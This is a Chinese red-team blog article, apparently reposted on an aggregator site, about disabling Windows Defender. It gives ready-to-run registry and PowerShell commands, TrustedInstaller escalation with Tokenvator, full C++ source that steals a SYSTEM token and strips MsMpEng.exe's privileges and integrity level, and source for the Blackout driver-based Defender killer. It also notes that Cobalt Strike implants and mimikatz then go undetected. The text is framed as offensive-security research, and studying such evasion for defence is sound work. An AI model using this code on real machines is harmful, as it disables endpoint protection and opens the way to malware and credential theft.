红蓝攻防:浅谈削弱WindowsDefender的各种方式

前言

随着数字技术的日益进步,我们的生活、工作和娱乐越来越依赖于计算机和网络系统。然而,与此同时,恶意软件也日趋猖獗,寻求窃取信息、破坏系统或仅仅为了展现其能力。微软Windows,作为世界上最流行的操作系统,不断受到这些恶意软件的攻击。为了对抗这些潜在的威胁,微软推出了Windows Defender,一款集成于Windows内部的免费反恶意软件工具

本文将深入探讨如何与Windows Defender对抗,以及那些特殊手段是如何被利用来破坏或关闭Defender的。

修改注册表关闭Defender

实现流程

打开注册表,在HKLM\SOFTWARE\Policies\Microsoft\Windows Defender键下有两个名为DisableAntiSpywareDisableAntiVirus的值,当着两个值被置为1时表示关闭Windows Defender的反间谍软件和反病毒功能

image-20230823121723961 image-20230823121730953

启用管理员权限打开cmd,执行如下命令修改注册表:

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t reg_dword /d 1 /f
image-20230823122459298

修改完注册表后还需重启操作系统才算真正的关闭Defender。重启系统后,虽然defender看起来是正常运行的,但是我们上传一个CS马上去它也不会查杀

image-20230823122528707

代码实现

#include <windows.h>
#include <iostream>

// 设置注册表键值的函数
bool SetRegistryValue(HKEY hRootKey, LPCSTR subKey, LPCSTR valueName, DWORD data) {
    HKEY hKey;
    // 打开指定的注册表键
    LONG result = RegOpenKeyEx(hRootKey, subKey, 0, KEY_SET_VALUE, &hKey);
    
    if (result != ERROR_SUCCESS) {
        std::cerr << "打开注册表键失败: " << subKey << " 错误码: " << result << std::endl;
        return false;
    }

    // 设置指定的注册表键值
    result = RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&data, sizeof(DWORD));
    // 关闭注册表键
    RegCloseKey(hKey);

    if (result != ERROR_SUCCESS) {
        std::cerr << "设置注册表值失败: " << valueName << " 错误码: " << result << std::endl;
        return false;
    }
    
    return true;
}

int main() {
    const char* subKey = "SOFTWARE\\Policies\\Microsoft\\Windows Defender";
    // 设置两个注册表键值
    if (SetRegistryValue(HKEY_LOCAL_MACHINE, subKey, "DisableAntiSpyware", 1) &&
        SetRegistryValue(HKEY_LOCAL_MACHINE, subKey, "DisableAntiVirus", 1)) {
        std::cout << "注册表键值设置成功!" << std::endl;
    } else {
        std::cerr << "设置注册表键值失败." << std::endl;
    }

    return 0;
}

Powershell关闭Defender实时保护

执行如下Powershell命令可以关闭Windows Defender的实时保护

Set-MpPreference -DisableRealtimeMonitoring $true
image-20230721173120971

提权至Trustedinstaller

情景分析

当我们使用system权限尝试删除WindowsDefender的某些核心文件时,会提示权限不足无法删除

image-20230624203426837

这是因为修改WindowsDefender目录里的文件需要TrustedInstaller权限,而我们要做的是将system权限提升至Trustedinstaller

image-20230625204420202

提权操作

使用开源的项目Tokenvator将system权限提升至TrustedInstaller权限,执行如下命令后会弹出一个cmd shell, 查询其所在组可以发现权限为TrustedInstaller

.\Tokenvator.exe
GetTrustedinstaller /Command:c:\windows\system32\cmd.exe
image-20230624204822742

提升至Trustedinstaller权限后即可删除windowsdefender的核心文件

image-20230624205722520

摘除Defender令牌

实现原理

MsMpEng.exe 是 Microsoft Windows Defender 的核心进程,Windows Defender 是 Windows 操作系统自带的反病毒软件。此进程名称代表 Microsoft Malware Protection Engine,它负责在你的计算机上扫描、检测和移除恶意软件,通常此进程是加了PPL保护

image-20230624203033735

使用ProcessHacker查看MsmpEng.exe的完整级别为system

在Windows操作系统中,完整性级别是一个安全特性,它被设计用来防止低权限的进程影响高权限的进程。这是通过对进程和对象(如文件或注册表键)分配完整性级别来实现的。如果一个进程试图修改一个具有比其更高完整性级别的对象,操作将会失败

  • Untrusted (0x0000): 这是最低的完整性级别,通常不会分配给进程。
  • Low (0x1000): 通常用于Web浏览器和其他可能处理不受信任输入的程序。这可以帮助防止恶意软件通过这些程序蔓延到系统的其它部分。
  • Medium (0x2000): 这是普通用户级别的进程默认的完整性级别。除非另有说明,否则大多数进程将运行在此级别。
  • High (0x3000): 这是管理员级别的进程的默认完整性级别。如果用户以管理员身份运行程序,那么该程序将运行在此级别。
  • System (0x4000): 此级别用于操作系统核心和核心模式驱动程序。
  • Protected (0x5000): 这是Windows 8引入的最高完整性级别,用于保护关键的系统进程。这个级别的进程有防篡改保护,并且只能由具有相同或更高完整性级别的进程访问
image-20230624212426260

如果我们将MsmpEng.exe的完整级别降为Untrusted, 那么该进程对计算机资源的访问将十分有限,由于WindowsDefender的核心服务需要某些令牌,降为Untursted级别后这些令牌都会被摘除掉。如下图所示,我将msedge.exe的integrity降为Untrusted后,edge浏览器就无法打开了

image-20230624215809411

实现思路

1.开启Debug权限

通过EnableDebugPrivilege函数开启当前进程的Debug权限,Debug权限允许进程附加到其他进程上以进行调试,以下是EnableDebugPrivilege函数的定义:

  • 调用OpenProcessToken获取传入进程的访问令牌
  • 获取到令牌后,函数调用LookupPrivilegeValue函数以获取SE_DEBUG_NAME特权的本地唯一标识符(LUID)
  • 获取SE_DEBUG_NAME特权的LUID后,函数创建一个TOKEN_PRIVILEGES结构来表示要启用的特权,然后将SE_DEBUG_NAME特权的LUID和启用状态填入到此结构中
  • 调用AdjustTokenPrivileges来调整之前打开的令牌,使其获得SE_DEBUG_NAME特权
// 函数EnableDebugPrivilege用于启用指定进程的调试权限
bool EnableDebugPrivilege(HANDLE ProcHandle, HANDLE* hToken)
{
    LUID sedebugnameValue; // LUID,用于表示系统特权
    TOKEN_PRIVILEGES tkp; // 令牌特权结构

    // 打开当前进程的访问令牌
    if (!OpenProcessToken(ProcHandle, TOKEN_ALL_ACCESS |
        TOKEN_QUERY, hToken))
    {
        return FALSE;
    }

    // 查找 SE_DEBUG_NAME 特权的 LUID
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue))
    {
        CloseHandle(*hToken); // 关闭令牌句柄
        return false;
    }
    tkp.PrivilegeCount = 1; // 设置要调整的特权数量
    tkp.Privileges[0].Luid = sedebugnameValue; // 要启用的特权的 LUID
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 启用该特权
    
    // 调整访问令牌的特权
    if (!AdjustTokenPrivileges(*hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
    {
        return false;
    }
    return true; // 返回true表示成功启用调试特权
}

2.获取system权限的令牌

通过获取winlogon.exe进程(该进程以SYSTEM账户运行)的令牌并模拟该用户,这是为了获取到比当前用户更高的权限。

调用OpenProcessToken()函数获取winlogon.exe进程的令牌, 再调用ImpersonateLoggedOnUser函数将使用获取到的令牌模拟用户登录,如果成功,那么在此后的代码执行过程中,将使用该令牌所代表的用户权限。这里因为winlogon.exe通常是以SYSTEM用户身份运行的,所以相当于得到了SYSTEM的权限

wchar_t procname[80] = L"winlogon.exe"; // 目标进程名称
int pid = getpid(procname); // 获取目标进程ID
HANDLE phandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // 打开目标进程

HANDLE ptoken;
OpenProcessToken(phandle, TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_DUPLICATE, &ptoken); // 获取目标进程的访问令牌

// 尝试以目标用户身份运行
if (ImpersonateLoggedOnUser(ptoken)) {
    printf("[*] Impersonated System!\n");
}
else {
    printf("[-] Failed to impersonate System...\n");
}
// 关闭句柄
CloseHandle(phandle);
CloseHandle(ptoken);

3.降低令牌权限

以下代码的主要目的是获取MsMpEng.exe的句柄,启用该进程的调试特权,并通过SetPrivilege()函数移除MsMpEng.exe的大部分权限,这使得Windows Defender丧失了很多能力,包括加载驱动程序、更改系统环境、备份文件等

// 重复上述步骤,但目标进程改为"MsMpEng.exe"
wchar_t procname2[80] = L"MsMpEng.exe";
pid = getpid(procname2);
printf("[*] Killing Defender...\n");
phandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (phandle != INVALID_HANDLE_VALUE) {
    printf("[*] Opened Target Handle\n");
}
else {
    printf("[-] Failed to open Process Handle\n");
}
EnableDebugPrivilege(phandle,&ptoken);
// 以下一系列SetPrivilege调用移除了所有特定的权限
SetPrivilege(ptoken, SE_DEBUG_NAME, TRUE);
SetPrivilege(ptoken, SE_CHANGE_NOTIFY_NAME, TRUE);
SetPrivilege(ptoken, SE_TCB_NAME, TRUE);
SetPrivilege(ptoken, SE_IMPERSONATE_NAME, TRUE);
SetPrivilege(ptoken, SE_LOAD_DRIVER_NAME, TRUE);
SetPrivilege(ptoken, SE_RESTORE_NAME, TRUE);
SetPrivilege(ptoken, SE_BACKUP_NAME, TRUE);
SetPrivilege(ptoken, SE_SECURITY_NAME, TRUE);
SetPrivilege(ptoken, SE_SYSTEM_ENVIRONMENT_NAME, TRUE);
SetPrivilege(ptoken, SE_INCREASE_QUOTA_NAME, TRUE);
SetPrivilege(ptoken, SE_TAKE_OWNERSHIP_NAME, TRUE);
SetPrivilege(ptoken, SE_INC_BASE_PRIORITY_NAME, TRUE);
SetPrivilege(ptoken, SE_SHUTDOWN_NAME, TRUE);
SetPrivilege(ptoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE);
printf("[*] Removed All Privileges\n");
}

4.设置进程完整级别为Untrusted

通过SetTokenInformation()函数将MsMpEng.exe的完整性级别设为Untrusted,这是最低的完整性级别,进一步限制了Windows Defender的能力

// 设置令牌完整性级别为 Untrusted
DWORD integrityLevel = SECURITY_MANDATORY_UNTRUSTED_RID;
SID integrityLevelSid{};
integrityLevelSid.Revision = SID_REVISION;
integrityLevelSid.SubAuthorityCount = 1;
integrityLevelSid.IdentifierAuthority.Value[5] = 16;
integrityLevelSid.SubAuthority[0] = integrityLevel;
TOKEN_MANDATORY_LABEL tokenIntegrityLevel = {};
tokenIntegrityLevel.Label.Attributes = SE_GROUP_INTEGRITY;
tokenIntegrityLevel.Label.Sid = &integrityLevelSid;
if (!SetTokenInformation(
    ptoken,
    TokenIntegrityLevel,
    &tokenIntegrityLevel,
    sizeof(TOKEN_MANDATORY_LABEL) + GetLengthSid(&integrityLevelSid)))
{
    printf("SetTokenInformation failed\n");
}
else {
    printf("[*] Token Integrity set to Untrusted\n");
}

运行测试

在WindowsServer2019上,使用管理员权限执行Kill_WindowsDefender.exe

image-20230624232722573

随后用ProcespsHacker查看MsMpEng.exe的完整级别, 可以发现变成了Untrusted

image-20230624231758421

将WindowsDefender设置为Untrusted级别后,运行mimikatz也不会出现报毒现象

image-20230624233443342

但是这种方法只能在WindowsServer服务器上使用,无法在Windows10及以上版本使用

image-20230625091215423

加载驱动关闭Defender(blackout)

项目描述

blackout项目地址:https://github.com/ZeroMemoryEx/Blackout

Blackout 是一个工具,旨在利用gmer驱动程序来禁用或杀死 EDR 和 AV,特别是那些受到反恶意软件保护的进程。这个工具需要在管理员的上下文中运行,并且可以流畅地绕过 HVCI。

需将驱动程序 Blackout.sys 和可执行文件放于同一路径,随后使用命令 Blackout.exe -p <process_id> 运行

项目分析

此项目主要涉及两个关键的函数,分别是LoadDriverDeviceIoControl

首先我们来看下LoadDriver函数的定义,其目的是用于加载一个内核驱动。驱动的服务名称被命名为"Blackout",随后使用CreateServiceA 创建一个新的内核驱动服务,并启动它

BOOL
LoadDriver(
    char* driverPath
)
{
    SC_HANDLE hSCM, hService;
    const char* serviceName = "Blackout";

    // Open a handle to the SCM database
    hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (hSCM == NULL) {
        return (1);
    }

    // Check if the service already exists
    hService = OpenServiceA(hSCM, serviceName, SERVICE_ALL_ACCESS);
    if (hService != NULL)
    {
        printf("Service already exists.\n");

        // Start the service if it's not running
        SERVICE_STATUS serviceStatus;
        if (!QueryServiceStatus(hService, &serviceStatus))
        {
            CloseServiceHandle(hService);
            CloseServiceHandle(hSCM);
            return (1);
        }

        if (serviceStatus.dwCurrentState == SERVICE_STOPPED)
        {
            if (!StartServiceA(hService, 0, nullptr))
            {
                CloseServiceHandle(hService);
                CloseServiceHandle(hSCM);
                return (1);
            }

            printf("Starting service...\n");
        }

        CloseServiceHandle(hService);
        CloseServiceHandle(hSCM);
        return (0);
    }

    // Create the service
    hService = CreateServiceA(
        hSCM,
        serviceName,
        serviceName,
        SERVICE_ALL_ACCESS,
        SERVICE_KERNEL_DRIVER,
        SERVICE_DEMAND_START,
        SERVICE_ERROR_IGNORE,
        driverPath,
        NULL,
        NULL,
        NULL,
        NULL,
        NULL
    );

    if (hService == NULL) {
        CloseServiceHandle(hSCM);
        return (1);
    }

    printf("Service created successfully.\n");

    // Start the service
    if (!StartServiceA(hService, 0, nullptr))
    {
        CloseServiceHandle(hService);
        CloseServiceHandle(hSCM);
        return (1);
    }

    printf("Starting service...\n");

    CloseServiceHandle(hService);
    CloseServiceHandle(hSCM);

    return (0);
}

其次看下主函数代码的实现流程,先使用前面定义的LoadDriver函数加载驱动,再使用CreateFile打开驱动并得到其句柄。

得到驱动句柄后使用 DeviceIoControl 函数与驱动通信,发送INITIALIZE_IOCTL_CODE 指令初始化驱动,再发送TERMINSTE_PROCESS_IOCTL_CODE 指令来终止指定的进程

如果所给的进程 ID 对应的进程是 “MsMpEng.exe”(这是 Windows Defender 的进程),则程序会不断尝试终止它,毕竟MsMpEng.exe被杀死后还是会无限复活的

在这里我要补充一点,当调用 CreateFile 打开 “\\.\Blackout” 时,实际上是在尝试打开一个与驱动程序相关联的设备。在Windows中,驱动程序可以创建一个设备并为其分配一个符号链接,这样用户模式的程序可以通过这个符号链接与驱动程序通信,从而允许后续的DeviceIoControl 调用来传递IO控制代码 (IOCTL) 和其他数据到驱动程序中

int
main(
    int argc,
    char** argv
) {

    if (argc != 3) {
        printf("Invalid number of arguments. Usage: Blackout.exe -p <process_id>\n");
        return (-1);
    }

    if (strcmp(argv[1], "-p") != 0) {
        printf("Invalid argument. Usage: Blackout.exe -p <process_id>\n");
        return (-1);
    }

    if (!CheckProcess(atoi(argv[2])))
    {
        printf("provided process id doesnt exist !!\n");
        return (-1);
    }

    WIN32_FIND_DATAA fileData;
    HANDLE hFind;
    char FullDriverPath[MAX_PATH];
    BOOL once = 1;

    hFind = FindFirstFileA("Blackout.sys", &fileData);

    if (hFind != INVALID_HANDLE_VALUE) { // file is found
        if (GetFullPathNameA(fileData.cFileName, MAX_PATH, FullDriverPath, NULL) != 0) { // full path is found
            printf("driver path: %s\n", FullDriverPath);
        }
        else {
            printf("path not found !!\n");
            return(-1);
        }
    }
    else {
        printf("driver not found !!\n");
        return(-1);
    }
    printf("Loading %s driver .. \n", fileData.cFileName);

    if (LoadDriver(FullDriverPath))
    {
        printf("faild to load driver ,try to run the program as administrator!!\n");
        return (-1);
    }

    printf("driver loaded successfully !!\n");

    HANDLE hDevice = CreateFile(L"\\\\.\\Blackout", GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open handle to driver !! ");
        return (-1);
    }

    DWORD bytesReturned = 0;
    DWORD input = atoi(argv[2]);
    DWORD output[2] = { 0 };
    DWORD outputSize = sizeof(output);

    BOOL result = DeviceIoControl(hDevice, INITIALIZE_IOCTL_CODE, &input, sizeof(input), output, outputSize, &bytesReturned, NULL);
    if (!result)
    {
        printf("faild to send initializing request %X !!\n", INITIALIZE_IOCTL_CODE);
        return (-1);
    }

    printf("driver initialized %X !!\n", INITIALIZE_IOCTL_CODE);

    if (GetPID(L"MsMpEng.exe") == input)
    {
        printf("Terminating Windows Defender ..\nkeep the program running to prevent the service from restarting it\n");
        while (0x1)
        {
            if (input = GetPID(L"MsMpEng.exe"))
            {
                if (!DeviceIoControl(hDevice, TERMINSTE_PROCESS_IOCTL_CODE, &input, sizeof(input), output, outputSize, &bytesReturned, NULL))
                {
                    printf("DeviceIoControl failed. Error: %X !!\n", GetLastError());
                    CloseHandle(hDevice);
                    return (-1);
                }
                if (once)
                {
                    printf("Defender Terminated ..\n");
                    once = 0;
                }

            }

            Sleep(700);
        }
    }

    printf("terminating process !! \n");

    result = DeviceIoControl(hDevice, TERMINSTE_PROCESS_IOCTL_CODE, &input, sizeof(input), output, outputSize, &bytesReturned, NULL);

    if (!result)
    {
        printf("failed to terminate process: %X !!\n", GetLastError());
        CloseHandle(hDevice);
        return (-1);
    }

    printf("process has been terminated!\n");

    system("pause");

    CloseHandle(hDevice);

    return 0;
}

运行测试

image

参考链接

  • https://www.freebuf.com/articles/network/324952.html
  • https://xz.aliyun.com/t/12280#toc-25

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/90518.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

2023年03月 C/C++(三级)真题解析#中国电子学会#全国青少年软件编程等级考试

第1题:和数 给定一个正整数序列,判断其中有多少个数,等于数列中其他两个数的和。 比如,对于数列1 2 3 4, 这个问题的答案就是2, 因为3 = 2 + 1, 4 = 1 + 3。 时间限制:10000 内存限制:65536 输入 共两行,第一行是数列中数的个数n ( 1 <= n <= 100),第二行是由n个…

商品搜索网:连接您与各类商品的桥梁

导语&#xff1a;在如今信息爆炸的时代&#xff0c;购物已经不再是传统的实体店购买&#xff0c;而是通过互联网实现的线上购物方式。而要实现高效的线上购物&#xff0c;商品搜索引擎则成为我们的得力助手。作为国内垂直的商品搜索之一&#xff0c;为中国用户提供全面的数码电…

咸鱼之王俱乐部网站开发

我的俱乐部 最新兑换码 *注意区分大小写&#xff0c;中间不能有空格&#xff01; APP666 HAPPY666 QQ888 QQXY888 vip666 VIP666 XY888 app666 bdvip666 douyin666 douyin777 douyin888 happy666 huhushengwei888 taptap666 周活动 宝箱周 宝箱说明 1.木质宝箱开启1个…

缺页异常与copy-on-write fork

缺页异常需要什么 当发生缺页异常时&#xff0c;内核需要以下信息才能响应这个异常&#xff1a; 出错的虚拟地址&#xff08;引发缺页异常的源&#xff09; 当一个用户程序触发了缺页异常&#xff0c;会切换到内核空间&#xff0c;将出错的地址放到STVAL寄存器中&#xff0c;…

AndroidAGP8.1.0和JDK 17迁移之旅

AndroidAGP8.1.0和JDK 17迁移之旅 前言&#xff1a; 由于我最近写demo的直接把之前的项目从AGP4.2.2升级到8.1.0引发了一些列问题&#xff0c;这里记录一下&#xff0c;前面讲解过迁移DSL方式遇到的问题&#xff0c;这次升级8.1.0也比之前顺利多了&#xff0c;想看DSL迁移的可…

LeetCode——有效的括号

这里&#xff0c;我提供一种用栈来解决的方法&#xff1a; 思路&#xff1a;栈的结构是先进后出&#xff0c;这样我们就可以模拟栈结构了&#xff0c;如果是‘&#xff08;’、‘{’、‘[’任何一种&#xff0c;直接push进栈就可以了&#xff0c;如果是‘}’、‘&#xff09;’…

常见前端面试之VUE面试题汇总七

20. 对 vue 设计原则的理解 1.渐进式 JavaScript 框架&#xff1a;与其它大型框架不同的是&#xff0c;Vue 被设计 为可以自底向上逐层应用。Vue 的核心库只关注视图层&#xff0c;不仅易于上 手&#xff0c;还便于与第三方库或既有项目整合。另一方面&#xff0c;当与现代化的…

2023有哪些更好用的网页制作工具

过去&#xff0c;专业人员使用HTMLL、CSS、Javascript等代码手动编写和构建网站。现在有越来越多的智能网页制作工具来帮助任何人实现零代码基础&#xff0c;随意建立和设计网站。在本文中&#xff0c;我们将向您介绍2023年流行的网页制作工具。我相信一旦选择了正确的网页制作…

OpenGL —— 2.5、绘制第一个三角形(附源码,glfw+glad)(更新:纹理贴图)

源码效果 C源码 纹理图片 需下载stb_image.h这个解码图片的库&#xff0c;该库只有一个头文件。 具体代码&#xff1a; vertexShader.glsl #version 330 corelayout(location 0) in vec3 aPos; layout(location 1) in vec3 aColor; layout(location 2) in vec2 aUV;out ve…

如何搭建智能家居系统并通过内网穿透实现远程控制家中设备

文章目录 前言1. 安装Home Assistant2. 配置Home Assistant3. 安装cpolar内网穿透3.1 windows系统3.2 Linux系统3.3 macOS系统 4. 映射Home Assistant端口5. 公网访问Home Assistant6. 固定公网地址6.1 保留一个固定二级子域名6.2 配置固定二级子域名 前言 Home Assistant&…

(三)Linux中卸载docker(非常详细)

docker 卸载 使用yum安装docker 如需卸载docker可以按下面步骤操作&#xff1a; 1、停止docker服务 systemctl stop docker 2、查看yum安装的docker文件包 yum list installed |grep docker 3、查看docker相关的rpm源文件 rpm -qa |grep docker 4、删除所有安装的docke…

【JVM 内存结构丨栈】

栈 -- 虚拟机栈 简介定义压栈出栈局部变量表操作数栈方法调用特点作用 本地方法栈&#xff08;C栈&#xff09;定义栈帧变化作用对比 主页传送门&#xff1a;&#x1f4c0; 传送 简介 栈是用于执行线程的内存区域&#xff0c;它包括局部变量和操作数栈。 Java 虚拟机栈会为每…

MySql学习4:多表查询

教程来源 黑马程序员 MySQL数据库入门到精通&#xff0c;从mysql安装到mysql高级、mysql优化全囊括 多表关系 各个表结构之间存在各种关联关系&#xff0c;基本上分为三种&#xff1a;一对多&#xff08;多对一&#xff09;、多对多、一对一 一对多&#xff08;多对一&…

学习设计模式之观察者模式,但是宝可梦

前言 作者在准备秋招中&#xff0c;学习设计模式&#xff0c;做点小笔记&#xff0c;用宝可梦为场景举例&#xff0c;有错误欢迎指出。 观察者模式 观察者模式定义了一种一对多的依赖关系&#xff0c;一个对象的状态改变&#xff0c;其他所有依赖者都会接收相应的通知。 所…

常见前端面试之VUE面试题汇总八

22. Vue 子组件和父组件执行顺序 加载渲染过程&#xff1a; 1.父组件 beforeCreate 2.父组件 created 3.父组件 beforeMount 4.子组件 beforeCreate 5.子组件 created 6.子组件 beforeMount 7.子组件 mounted 8.父组件 mounted 更新过程&#xff1a; 1. 父组件 befor…

安全防护产品对接流程讲解

服务器被攻击了&#xff0c;怎么对接高防产品呢&#xff0c;需要提供什么&#xff1f; 1、配置转发规则&#xff1a;提供域名、IP、端口&#xff0c;由专业技术人员为您配置转发协议/转发端口/源站IP等转发规则&#xff0c;平台会分配该线路独享高防IP。 2、修改DNS解析&…

大数据:AI大模型对数据分析领域的颠覆(文末送书)

随着数字化时代的到来&#xff0c;大数据已经成为了各行各业中不可或缺的资源。然而&#xff0c;有效地分析和利用大数据仍然是一个挑战。在这个背景下&#xff0c;OpenAI推出的Code Interpreter正在对数据分析领域进行颠覆性的影响。 如何颠覆数据分析领域&#xff1f;带着这…

java八股文面试[JVM]——双亲委派模型

1.当AppClassLoader去加载一个class时&#xff0c;它首先不会自己去尝试加载这个类&#xff0c;而是把类加载请求委托给父加载器ExtClassLoader去完成。 2.当ExtClassLoader去加载一个class时&#xff0c;它首先也不会去尝试加载这个类&#xff0c;而是把类加载请求委托给父加载…

Module not found: Error: Can‘t resolve ‘less-loader‘解决办法

前言&#xff1a; 主要是在自我提升方面&#xff0c;感觉自己做后端还是需要继续努力&#xff0c;争取炮筒前后端&#xff0c;作为一个全栈软阿金开发人员&#xff0c;所以还是需要努力下&#xff0c;找个方面&#xff0c;目前是计划学会Vue&#xff0c;这样后端有java和pytho…

0101prox-shardingsphere-中间件

1 启动ShardingSphere-Proxy 1.1 获取 目前 ShardingSphere-Proxy 提供了 3 种获取方式&#xff1a; 二进制发布包DockerHelm 这里我们使用Docker安装。 1.2 使用Docker安装 step1&#xff1a;启动Docker容器 docker run -d \ -v /Users/gaogzhen/data/docker/shardings…
最新文章